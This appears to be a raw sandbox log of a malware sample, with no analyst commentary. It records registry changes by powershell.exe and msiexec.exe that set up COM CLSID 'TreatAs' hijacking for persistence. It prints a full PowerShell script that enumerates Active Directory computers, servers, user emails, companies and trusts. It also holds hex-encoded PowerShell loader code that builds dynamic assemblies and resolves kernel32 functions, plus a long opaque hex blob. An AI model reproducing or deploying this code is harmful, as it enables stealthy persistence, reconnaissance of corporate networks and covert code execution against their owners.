cb9d8d86ade35ac10265b8c73fd5a1f8c2ef11ec21e0475590acfb229306b82aaf75f36d3a1b5374ce8bc4aa4ba4390bebf6772718ba5faebc5ad9b6c4881a3732e297540801492016e60e1821602ca3c42d89fce6fc8b6ae3b35c1ad6930bc8a0d9729f3131ae99c23830839ff9d587bd221dc41aa58d9159c13165a55ede9b6ae9ef1cdb01b9476a393a38568a45713cdaf04ecea39d8b6b07eaa0cd970e9400254074fca9116901111412675c56b9b9c82cd52b4ec92d92fdad316b39917896e92c5e386ecf90be0de00569f0c5f28324db9a6914c8fc3cea828c26efc5577efc1d94b3ef9c4090afae1c4c32c7d348ac13b11c7bcdfe3f71474ddab61e5bc8112435f97b34030ae50c2161506bdcdcb56682b79bf6b85ace622d93081e76a5b2493e08c298d87a763e09b4c7e78913cd756d0485fe7f4a13fde5b7c87286c8ff0e182e72bd5034b094a0d40bf338c0b3b4a8fa510d4c5bf64faf480a6d4b805eaadc6cb3645fd899d7ca841d3d2a557bda587b673735370f2809c4e080194cdb2daaa6cb07c30f1693c51846f8d2b3b0b480894bd924a7db9802249362508825d98213696aef64ab10bcee9745feb1f1bb24e87896def274a5d5f88c4054bbc96e333792f6a8707fbcb5fd9eabc8e4718f8413ea9028bf94aac67cdc3591b13fabe36e8767f95d0058ae144709a794a5b74104d6f53f5458d17c9feb945487fb9f13113939217ac210f53459465659fd3202f4bb25782d2d6732d7e691749bb545242f0882ec4ab69f8dd0cfce708c631acf85450feed1164756fb101694d98d3dbfbaa9f3d53b291417a192f33b1e6569d8717e8deb1f5e16a9e685d42d29e34afb414193514853f91117f5346f1554c15744c0e2945e410538abebaadd82e3ad6e8b877d258b83ed4f58292b9ff52a627102dee89136d27a2940002c97ab6766fe07a28e24ccb8e4b50c6dfa353328cb18eed63b58d00086b54cea9b172d10b214d015ccf3293e8e4e2ad147a8c9a861d9a3b07479f6ec3735ea27467ca4d9a4bb4b4acee89244b43136e43ca18554d03b0da101241b5abf4e559e5860820f7c26e45dc0c48299db66d895a4bb5ecc884ec1223426988f75f8c86ec23db1b7ac10d803885bd1ac39139d1c43ad20b7e4a5b54a377e60ddc3ef8a538311c533f2be34b024afadc89549ebd21719f90c2c03f6d4173dd1d7e8076582145d48c95dda4c7c15acce488469c64adf3f61d257614b36d6f4426f4ba29ff8c799174b8e7b8864fe9eda02a5f99d8d79a68160e1c0149764a2fff072349aedfc5a50b0367d5bd4635bc3af9aca51f78cc6b4342437afb4e132ed79bdc9df3edf5b370863b5dd890b8428a84ee99e8dedba17d9dda759f95e32bf82c45331d77cc4b3c8d437159627f5eb9b7c7116c74d171312d40345ddb6b2607d703edf8cedc6d7a8b5a478a4c5526ac95879d6ed41e97dd0d70993afda5e1f77dd240cbf3d539a631647dff70d195055d6a460a88ed2cda8838d1b23953da6ffc6a076c1676db8815c222da28ae3999578bd7e39423b680bb2483f014a47966b16a586d7c2254fa2cfa116b7828ed2d270b51b54548feb3a004cea87b280a08efb8e90cfe5be315a87c12d54cc452cf706005ec37cb3a43138a0488219681ed18a2fe2d6b128f4b68268a8e7365bcac236142d2580f7f98f07f396c4c24bc9b68d29c4a81e70b0289ecbf740da215fa5d45edf8260d480c5487acf2be77db3315467aa387eefa05f1d809201e84404641842ac053aa4835da0b266d524a2d4d7af489a450e5f0dbf5712c7cf0cd265e6058bf001a8369410bedf3a43857e6f084927db677a1ffe16d5c66a946b1b65584edb6821c2810b4c5bd30cd78afe35b55fffa6291243f2a218e6dda3720ca8ccbe047bb5332f96f667112f590fee555e973b59eaebc5969c272f814e8b02956017b1d548031393f7ad232a9df5513cd0271d3a8bc8d391437a470f2bd6f69c38481a3d849837cfb5d194111bc4e817b215b3ca5d2e9196675933cc9a242da06f0f06c23c55de91e0e9ba413230e0b3cdbae927af9b9ce46491bf3a077b0632836f20ad91d615962fc415cfdfd2516d2379b6b6659a1cfb6f76391fdb7906c83ecb12281704be37c7fb3a059f4a7cdf52bd9a7057ccdba55c6c51115d65c28c17de6b187aa80a025b9eaffc823793ea8c3daa093edc3b7393a77a6995b64f19da393a98f159ae761397a4502999a733a372c6b1e6e280cd9974aced47bd518ec157b52a633fafce8cd3bbbd849c1497a7c61ebb825d7774514f26e305e5ade3974c629b995ba5cf7681803b43a541cef50662bbd60f63489c03e45a2b04a020a384803b470de9e0690d72d0f3477abbfd88c481c78734c5dc9dcc96ac7fd1042d8d30318bb4ee4b8034e7ffb22827b3d074a2a84227e4f5b99ce4f1f3de8538c6417ff71d785c72820db1a60bdd8248bd0eecf71f44b50fac85dc6df8410bab8dfd81321977f9af9f1c92443f6031a622ad62fb5fc77e3a550a202b08291c2b26c88ac01108649615cc8f5e84b91bcbe7f1c21bf09688b072da626cbd4cc02a1807ec41bc75364ec69764a356f2308da7f4b4b0949820bd844a0e3f56ea6d6b7bc7ede0be40ab51ced760463fbcd6232b3fb063744218651e4c8bdf216942d492588a403c7e0b1a4a95ea985456a9459d3d033df52d68ac63507dc24bf61e294fca495dba2f1bfa292c5ba585186041d352af03dff8b5c4b70554f97714d5af863e9694830cc34126e30a97dc90f27874ad08613448c25a20dbd583029395fb6f800a211a247789d3078d7c86123c373e7ddab8f7ccde32ad55fd2de259c191aef983f7a85f317a2070e712385333175a68d1b093ba1cdb64d9213de2564172fdc395df3654ff1f3bfd286b0216609db6aed59a8622bd24d03be6d5fec281394b0894f9ae4fd66d87057c87da9ef26ead3b9aeac9c550ab846d346a09b45ab436e21f752573727fbfe0ec6020bf35fe5009c66c421d12ebad8411573842b23622e7675c829f18fa81e24c286cfb82a17b4a82cdc5b1b96642f471df15beec105d0687645823b2908196b327a9a5be1809e48786f90d6c56b9d29ace3df21a503dcfb13de9e3362e85331160e32cc2da597cd80eb1c4cafca62e98a0da45ae80974449d919c15484f4b34cc0db092f3ea640a4ad77dfd7fc70ccf65833ced0b48bdf7fdbd6f3a0f7dd53aa6a34f362e0c596fa8ea3d7a96eed1142e7acec15177de69d0d3593307b766dd4d95d58001a1b117c0ab7c6ffc318856afbb6692279a5829d8676d88290726b6d6b761015c5e5377f1945e93e271d495e9b1cb0cd11bd1beab9ad0a7392f9689eb85797715b9914eeead0ea57c2b3d7297f163daf8f6e9e40df4f80d2d5a8699a5a7886d4dd3a8c9d8fa167d55749514a012b6fb8201de527ec0fe32439628eadf83bd9d8d308f439d991838e6eb8ca508cfd6dbd39c88e803d2d38da70abf373548f499b205fb352a7fc369eeac28ad0495bda3a22fc3d965d3d699f1b361dc6f29162bf5397d46d53172c7a88d8dd69316fbdb43d4e638f5337d368b7a687ee20113ce96ec59b755c81e475e93934999b66efc53dbaeebdce3ecb9284e5c9261a77a68db6c82358ab6c8f2cfe8d93dbfe96f0da8187c8278cd498f40b72aa16ecc9504c9fc89464a7bc18b39da36f5c96ef6affd1705905ead283d0f36f9f83ee4026c71d9d56cdd97395c079fd8f2bb40f85a98ab4ab703df433a4deaa04cfe8df882cd85a50b2586d23ac6b72f93f03a9a227910e3d07f39920629e8e21fd453fbdd8c3dd46ff1c7cfea6347d275e8461df3b9f6ae9516e5270ab8f56ce9301f554c3490cf32ac5992f6399acde1ba693cfea1676c9d183bf8ac5d38f063dd326a789e8b9ee958b0cca174750850081cd64d99d5ee3a93a9cdc2714e5446157e8e9bf1919914d9009265a774d07acef4446757079fc227292eea2c30799ecb87ef276e8879da25a8bd6c07a892b3898cd28b2db55a2f011327999b4f8ad5642f182bd45861c505c55afd7046c5dbf69fca5d2fd211efc20266c5a57e152455310a2935f77ce6ce0ada025065d438edd3156671dba713110780639d79eee3cd5d7689260cb450d5fe93a48a4bd3bfdedcaaf7280fdd86dc48f910b243defb6b563fcf2837435c764d3d32713e15d63ffd16c3e0aba5d5d7fe26fe26518ac7162945426a3993bc4c22cc9b71ea778edd86bfd35cbd8138b03c15b00480e7e2ab448d487b2b4af7ee46ec0ed69bdf17ce87e61bd320811139e109f4056fc5fb643e79d1f8fdf8b3cbcb8cf3aa4231caef364e5069babd05d30182c454e713b7b4a34cf6979b81d1dc8f7cd9b283661df34ea0d91cb2c53ec2598ea87ac7198ad6edf24308e34e5b58acd198c179ca9a29b398eedf53be2f0bb411a23f41ff52eeb74f1c557db3e328ff6953d5a0defc2f65c99d4e104e3effb035f1efdbee86b03e4b6bdcbcaa77a4fc2781422642f1d6aa00989d7ae71c65b469a72b89aa58124808e429061ac197d4dd44659a116992c5f8167fd38f9f65ee97128ae7ab2d107484b199945333407753b505549f20c2490e21dbc69e8863d3a97d01da46aed31daecfaab8dc872e60750abf984909c93b910bf1adaa1758f9c8de0158b7b1b18c3467e6a8ad7fb0e7e2f16e737488dd246e079e885bff20ab964c9602b7f613677f3dbc98e0acddf8a9a649b8345c07cfdc5651bda3d402b7609c550d982b7baef73007048caffe579753c53d780b6aa3f9b0a77fd0717a0aa4ce9b7e98cef02fffde9fd9f30a3bc16946704fde4df43822a93f9708b6eb0f851958a0efc678fd5e41efa669b74983b5685b687b3fc2f19c903ab92a1231cbbe6775a4cfccdfe37f708431e0c5ea5d2d20ad964970e0683d83f8547ada232226fe38701396b2b95bf9b9bcdbb6d2c07aec02f1df98ec072d95bfad928a86a843091c83f1a7b1157bd2375b798a72cfa1cbe3e82707d939a366bd69e5210eeb75e84d823f7df10f6a1313c123b4ca50efd561ebce5884fcafb49f1a1a8b7bc1dfda8288a2eee6ec52dd5cac4dc99449e6af42541667b123c8b39462405841b24243df286dcdc831ec55759e945cfaf35c21eb688aadc86c7de6511e87dc151e63c7a6a5078434e1c07d3316158369df12d34c8c3aed43960d95818dd97c88211678d5d299b3315b4eb6729e39cb29eb1d72bab00f2129f44c5e19e4c5c3dbf2e8067fdd1e3690e572c0e82f3e3db1bd84066396c0f323aae6b5c30c02ba1b9bb742c52574d76c76433db02dda0e91257a05b27957b072285a97806c1b55428448c1348eadf98745abb509d4cde71c0d44f25dce845dc71049eb5a4d6b2afaf94054430f422d13bd05b55f17085b3d44616be0461347f2cc02aadb3aefc127d0239132ed7ad4d03597322d721c848a2518794c0fb6803c84237919a32c1b12f74b593e5e8e42c46dda866bf8c624184c1904bbef8b1f052d455108e7b53d52aa1820b80ed3178e863020e7eea2dafa692b0dabb590c21089d1bd9c26d156be2690cca02823da2b0a99b593b486d6267044bbb01791227aebb47f8c67f5683f84885e2bbbca5a9c406c264f870668662f31148c36c881d45e596df21219031c629b556dceb9426bcd845ed0ea1c3cd6883f4ce29c95866d67090f9a8978a9292a8a3c74cf4dedcd2e95f244ececf4da62a9b9009e0579af5dafac7e949b116ad26b97ebe17e016d72b89eef602eacb705ee4692a6e4d942678904f1c2d45f1f2c9714085f26db0aad44a5347f393d63c67d99ccec8eb08627dce2cf1a0bbdfb9206fa5512bc434e2ce32a515cc64d373096b0f7cedd75ef05dd181e9ae957ec1c412f3cd7d3b3abb134ce37bc5df333185e7605ff3dff11a830a6cbf44bdb8a46c4b5d48e299be722a951b944bceb5f03f6ad6ecca25c142de5f57e2c45ce223c1ee75a4b9545587780b0f2247c671b81078943a76a3c26ee0965793931efa99b0ca3fe2113729f72f03c0bb9bf186b480477980e21620329ded53d01342c5fccdc43de139d3540acf6159929230eb31d67c27b5d0e8f0d5dcfd8359b07af968029d287e4d484fe0673e83c83d3999e8c51c08683c3b5703025a64a10988d4404fd749dad5bc2d2688e1e32bfa2dda9a815ad65f891d1de74353b8cdbf031ce94969e1eb951d232a4ac7d13a3431f32891695af8ba26485ced2f8ca319a5668bcdc3877a3939ab50a0c5a8f97106297d6cc0d7d5e1d389ff5cd0429a2c019bb1d9452e7fa32db41d7eb99661e58efe9294a58b98b7ba9d2f6da864ca701aedf0b092bf473aeed4cb32bad4d10735772351a85b0aa6a9762fae8727bba29ed21cfc80b49849aa98b8c0a016a977f4fd29f1f70a1e6249ae402a3417af44fb19830732044b9dd666eb55ea85e091fddd7cdee1084085948e67da401c84cdc04d1f0e45b2bf7c66af5448b086cab2398b23bb2fb713e62b720ce95d394a3e1c3d52b38273fbf8841ef10f1620d58a2b41a0661d538a7fba01da19b77ccb2e47820b896f0199af0592ce4e9176b859ddf3b68c4f449ff44b64f39f6522161e495d46ecf5261eacdac8a02a446ed58d8c96304efb43359b2758a2a570acd588d7fb8ab5680cc9481bb9843c87e64081e5d75575c75d35db3a0c71dd25884b23626fdd9dbaa8dc285f0b816b03243cbc5608af51094ba1ffcd31fd27dbaa74ef34aeced9c2c429aade715b8994e7ac76264a7a0bf38072c9b11d3b865b8b3f3a8e378301b03e5f16d67ee8816292dc3d1b9c577dc1ad83efa6ea70682bd2afafa002a28c21f39bed2c7612a07db9b09f0d2ab60fb8125291dac113366b0fce785e0e6108236073eb7e797695c6b8fb52dc60a5d861373590138dfdfa0542ae285ebfb6ab0bfd7d6fd666f14bcdb1fe6b68e087cbc4df5d59f675d9261a1b80ee6c668601867ff5279a98d0627c8145714675f220e25b607da7e31ffc6c59deeafbf20dbf6ea03ab64580c55f8f8d9d6e9f543fa64003b446fc494b5d4b5c3218a2ddede2f10f590deb3dea81b670b8504e7f7386e70e6540885cab98d3e00d33e4cd1d6f6e21e5e12a7380b59c804acc360dd022b020564592eb2399f53b085cb18d3f5a1a87ec878074e65f1a5e5aee3dab67151e16307f24227ee3b087761dcc662d1650a8286f861a218a1b9e6f584b7230383ae03c8a419f01ed092fe4a17de7a06114883a8d29a62db9c90a9afd09d88c9ab72ac4a703093de526aa932e60929e2c970f8e6173494b87d4da3249aa512cad43af5f765e42ff9c4dbaf6f5f31ce5fd6341cfba903b47f8b730287707214cf85c2dfa2fca77b34bfc626cb154fc14eb85a7b284b2722606cabd601cb655409dd8f938b3829ba7e8863e308401c9a39c4219336f3fa90f94805705aa00f7e0f2d549cc4ec9586501a139f3c8e9b828f6e6c28f4e5017af2cd23cec72226ff1c54f175049e2d06f8907a35a228c0ab528ed5ae4af3b72a505db76486657dfe1006c1c17ed091ba6b1966f015b6901d0989f5fc60f1e3c84d7cf2314210e9529b446d4dbf389d9e83afeff56fa69cde11e146e0c5a06db8cca74d44422d8ebeba8f325603a44b0c70d81dc7827ae81e0e0fc68ca90b5f4f0f87250cf50aa910f1f94ad191f9be0987b9ef01516116823c91d855f7dce627cee1703df1f9465a459fcee470e1b8b3e74826fd36ae915fd26838c6ec3f6b2b07dea784f732caad152781900d7f8ace876f0dd2b46a6a30b6656a42fbe6182adab220991fe80ffaa5f6ccbe67a396ab54d4aaf546e16793e1ebe6028113d7f3b368d7decf3a31f530d7caa72bb25e71f493b17a7cb70f29ca082737fcc21eee6ed16d04ef083c79969a0d5f9bbe8c1d612b61443c1debfd91bbc379cd9fcf5f4ae2b4ca728c7a112a923920b60019341720f4e2106fc4c780065622fa05edb68336da0039bfb54f5bafd1f96c20bd7e43d73201d57c64ec2996e517c7841403cd6dfc1a79e045b625c9e2e5341eba1c953667c660c12796fbfa841e56536dd9fdd18d76b12376c185ba63ca1a92c64e181e9872f724a powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{030D080E-010C-0605-0D0F-13090F0B0C0C}\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E041204-020A-0307-0209-130F050E0A12}\ = "{030D080E-010C-0605-0D0F-13090F0B0C0C}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0D080310-0303-0800-0101-100B0A0C1211}\ProgID powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0D080310-0303-0800-0101-100B0A0C1211}\LocalServer powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0D080310-0303-0800-0101-100B0A0C1211}\VersionIndependentProgID\0D08 = 28757e77374c2658435034607d4e255b4a72416d543a3b38493c5d456f2f6346252b3d336978327671575f2a223e562c307074276e6a442152482d5367427a6c654d4f7c5a2e37686b3365746377386f3275346e3169786a736c676d7262796470766136717a6f467c4b6454353b427a7b6d43663370255c2f5776285058373226694d7851793a27303c36313d61486b754c2d566c6840594f737444725349455f55225e6360382e5d29715a522b powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\CLSID\8237 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n#Write-Host WRHOSTDATA $data; #don't work\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Key created \REGISTRY\MACHINE\software\classes\{030D080E-010C-0605-0D0F-13090F0B0C0C}\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E041204-020A-0307-0209-130F050E0A12}\TreatAs powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E041204-020A-0307-0209-130F050E0A12}\TreatAs\ = "{0D080310-0303-0800-0101-100B0A0C1211}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{030D080E-010C-0605-0D0F-13090F0B0C0C}\CLSID\ = "{0D080310-0303-0800-0101-100B0A0C1211}" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0D080310-0303-0800-0101-100B0A0C1211}\ProgID\1211 = 66756e6374696f6e206f74337b706172616d2824737a31292028766732202732343638373833353344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343638373833353245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343733374133313239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343638373833353245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437383638333832433234373337413331323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363837383335324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3134352d3134315d2b247073686f6d655b3139312d3135375d2b277827297d66756e6374696f6e206276397b706172616d2824687330292028666d3120273234363937313336334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303434333033383330333333313330324433303333333033333244333033383330333032443330333133303331324433313330333034323330343133303433333133323331333137443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333034343330333832373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303434333033383237334232343637363833343344323832343639373133363542333333323544324232383238323833333336324432383332324233313239323932393239323933423230323436453631333333443234363937313336354232343637363833343245324532383234363736383334324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436453631333332393342323436393731333633443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343433303338333033333331333032443330333333303333324433303338333033303244333033313330333132443331333033303432333034313330343333313332333133313744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313332333133313237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333233313331323733423234363736383334334437423230323436363632333233443330324532453332333533353342333032453245333233353335374332353742323032343638374133303344323832343638374133303242323436363632333235423234354635443242323436453631333335423234354632353234364536313333324534433635364536373734363835443239323532383238323833343334333332423335333432393244333233343331323932393342323032343636363233323542323435463544324332343636363233323542323436383741333035443344323436363632333235423234363837413330354432433234363636323332354232343546354432303744323033423234363937313336374332353742323436373735333333443238323436373735333332423331323932353238323832383333333833313242333233313239323932443331333433363239334232303234364336333330334432383234364336333330324232343636363233323542323436373735333335443239323532383238333833333333324432383331333733323242333133393334323932393244333233313331323933423230323436363632333235423234363737353333354432433234363636323332354232343643363333303544334432343636363233323542323436433633333035443243323436363632333235423234363737353333354433423234354632443632373836463732323436363632333235423238323436363632333235423234363737353333354432423234363636323332354232343643363333303544323932353238323832383333333133383244333633323239323932393544323037443230374432303342323436363631333732303344323032383236323032343637363833343743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343637373533333344333033423234363737353333323032443643373432303234363636313337324534433635364536373734363833423234363737353333324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436363631333732453533373536323733373437323639364536373238323436373735333332433332323932433238323832383332324233343239324233313330323932393239323037443239323927297c2628247073686f6d655b3137332d3136395d2b247073686f6d655b3137302d3133365d2b277827297d66756e6374696f6e207072337b706172616d2824616b342c246c74352c246c77372920286d663820273234364336443337334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343632373633383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343643364433373245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364336443337324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363237363338324332343631364233343239323927297c2628247073686f6d655b3133342d3133305d2b247073686f6d655b3232322d3138385d2b277827297d66756e6374696f6e207972327b706172616d282472713129282d6a6f696e2824727131202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e206d79327b706172616d28246b65322c247074362c246b74392920286d6535202732343644364533393344323835423431373037303434364636443631363936453544334133413433373537323732363536453734343436463644363136393645324534373635373434313733373336353644363236433639363537333238323937433537363836353732363532443446363236413635363337343742323435463245343736433646363236313643343137333733363536443632364337393433363136333638363532303244363136453634323032343546324534433646363336313734363936463645324535333730364336393734323832373543354332373239354232443331354432453435373137353631364337333238323735333739373337343635364432453634364336433237323937443239324534373635373435343739373036353238323734443639363337323646373336463636373432453537363936453333333232453535364537333631363636353445363137343639373636353444363537343638364636343733323732393342323437303643333533443445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363238323834453635373732443446363236413635363337343230343936453734353037343732323932433238323436443645333932453437363537343444363537343638364636343238323734373635373434443646363437353643363534383631364536343643363532373239324534393645373636463642363532383330324334303238323736423635373236453635364333333332324536343643364332373239323932393239334232343644364533393245343736353734344436353734363836463634323832373437363537343530373236463633343136343634373236353733373332373243354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639